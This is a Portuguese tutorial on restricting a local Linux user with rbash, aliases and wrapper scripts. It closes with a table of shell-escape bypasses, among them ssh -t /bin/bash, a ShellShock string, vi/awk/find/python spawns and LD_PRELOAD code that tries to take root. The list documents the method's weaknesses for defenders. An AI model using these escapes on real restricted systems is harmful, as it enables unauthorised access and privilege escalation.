
 Um dia, apareceu a seguinte tarefa: criar um usuário local no Linux, com acesso limitado a pastas e arquivos, incluindo não apenas a edição, mas também a visualização, além da capacidade de usar apenas utilitários permitidos. Somente o acesso local é fornecido, não há acesso à rede.
Para não reinventar a roda, a primeira coisa que fiz foi começar a cavar na Internet e, como resultado, foram encontradas as seguintes opções:
- restrições de acesso através dos serviços de rede ssh, sftp (não cabia)
- diferenciação dos direitos de acesso pelo próprio sistema operacional linux (não se encaixava, eu gostaria de uma solução universal)
- usando chroot (não coube)
- o uso de utilitários de terceiros, por exemplo, SELinux (não se encaixa, complica o sistema).
Como resultado da pesquisa, foi encontrado um mecanismo 
interno para restringir os recursos do usuário no shell bash, chamado 
Shell Restrito ou rbash .
Ele implementa as seguintes restrições:
- não há como alterar o diretório com o comando cd
- Você não pode redefinir ou alterar os valores das variáveis SHELL, PATH, ENV, BASH_ENV
- é proibido especificar comandos contendo / (barra)
- é proibido importar funções do shell principal
- é proibido redirecionar a saída usando os operadores>, <, |, <>,> &, &>, >>
- é proibido usar o comando exec para substituir o comando etc.
Há um sinal de menos, isso é segurança, por isso é imperativo adicionar alias aos comandos no arquivo de comportamento do shell .bashrc (as informações serão mais detalhadas).
Obviamente, o rbash está pronto para uso, pois não resolve todos os problemas; portanto, como exemplo, consideramos criar um usuário e configurar seu ambiente para uma solução completa para o nosso problema.
Além disso, todas as operações são executadas a partir do superusuário (raiz).
1. Crie um shell limitado
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash 
2. Crie um usuário
 adduser --home /home/zuser --shell /bin/zbash zuser 
3. Altere as permissões do diretório
 chown root.zuser /home/zuser chmod 750 /home/zuser 
4. Vá para o diretório e limpe-o
 cd ~zuser ls -a rm .bash* rm .profile ls -a 
5. Personalize o shell e os direitos
 echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc  
O arquivo .bashrc define o comportamento do shell; alias para comandos ou 
opções adicionais podem ser adicionadas a esse arquivo.
Para garantir a segurança, execute os seguintes comandos:
 echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc 
A lista continua ...
6. Verifique o trabalho
 root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls:    zuser@host: /bin/ls bash: /bin/ls:         {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH:     zuser@host: exit 
7. Adicione comandos válidos
 ln -s /bin/ping /home/zuser/bin/ping 
Importante, os caminhos no comando ln devem ser totalmente especificados.
8. Você pode usar wrappers para limitar as opções do comando.
 mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info 
9. Você também pode criar um wrapper para trabalhar com arquivos e pastas.
com uma 
lista negra (permita tudo, exceto):
- criar um arquivo
 nano /var/scripts/ls 
- conteúdo do arquivo
 blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $* 
lista negra - uma variável que contém uma lista negra de diretórios ou arquivos (separados por espaços)
- comando add para o usuário zuser
 chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls 
Esse script permite executar o comando ls com qualquer chave para diretórios e arquivos que não correspondem à lista negra
com uma 
lista branca (proibir tudo, exceto):
- criar um arquivo
 nano /var/scripts/cat 
- conteúdo do arquivo
 whitelist="./ /tmp/"  
lista branca - uma variável que contém uma lista branca de diretórios ou arquivos (separados por espaço)
- comando add para o usuário zuser
 chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat 
Este script permite executar o comando cat com os arquivos especificados na lista branca.
Feito , finalmente obtivemos o seguinte resultado:
- criamos um usuário zuser com shell rbash
- desativou a capacidade de usar o preenchimento automático no console
- O zuser pode executar apenas utilitários no diretório / home / zuser / bin
- adicionou o comando ping ao zuser
- adicionou o comando user-info ao usuário zuser
- O zuser foi restringido através do wrapper para executar comandos ls e cat
Infelizmente, esse método não garante 100% de segurança e, com certos conhecimentos e qualificações, o usuário pode deixar esse shell. Graças a 
Jouretz arheops YaDr nos comentários, eles 
forneceram exemplos de contornar restrições de shell.
Existem as seguintes vulnerabilidades nesta solução (Shell Escape), que devem ser levadas em consideração:
| CAMINHO | Capacidade de alterar a variável PATH | 
| Copiar arquivos por scp | Capacidade de fazer upload de seu script | 
| Ao conectar via ssh, você pode alterar o shell |  ssh zuser@xxxx -t "/bin/bash" | 
| Ao conectar via ssh, você pode alterar o arquivo de configuração do shell |  ssh zuser@xxxx -t "bash --noprofile" | 
| Ao conectar via ssh, você pode usar o ShellShock |  ssh zuser@xxxx -t "() { :; }; /bin/bash" | 
| Via utilitários vi, vim |  :!bash | 
| Via utilitários vi, vim |  :set shell=/bin/bash :shell | 
| Através dos serviços públicos, homem, mais, menos |  !bash | 
| Através do utilitário find |  find . -maxdepth 0 -execdir /bin/bash \; | 
| Via utilitário awk |  awk 'BEGIN {system("/bin/bash")}' | 
| Via utilitário nmap |  nmap --interactive | 
| Via utilitário nmap |  echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse | 
| Através do perl |  perl -e 'exec "/bin/bash";' | 
| Via python |  python -c 'import pty; pty.spawn("/bin/bash")' | 
| Via ruby |  ruby: exec "/bin/bash" | 
| Via LD_PRELOAD | Crie o arquivo evil.c: 
  #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } Nós compilamos:
 
  gcc -fPIC -shared -o evil.so evil.c -nostartfiles Transferimos o arquivo evil.so resultante para a máquina com o console fechado e executamos:
 
  LD_PRELOAD=$PWD/evil.so ls Como argumento, qualquer comando disponível
 | 
Devido à presença de um número suficientemente grande de vulnerabilidades, esse método só pode ser usado para um usuário local em sistemas não críticos; para acessar através de uma rede via ssh, é melhor usar chroot ou outros utilitários para restringir os recursos do usuário.
Espero que esta informação seja útil.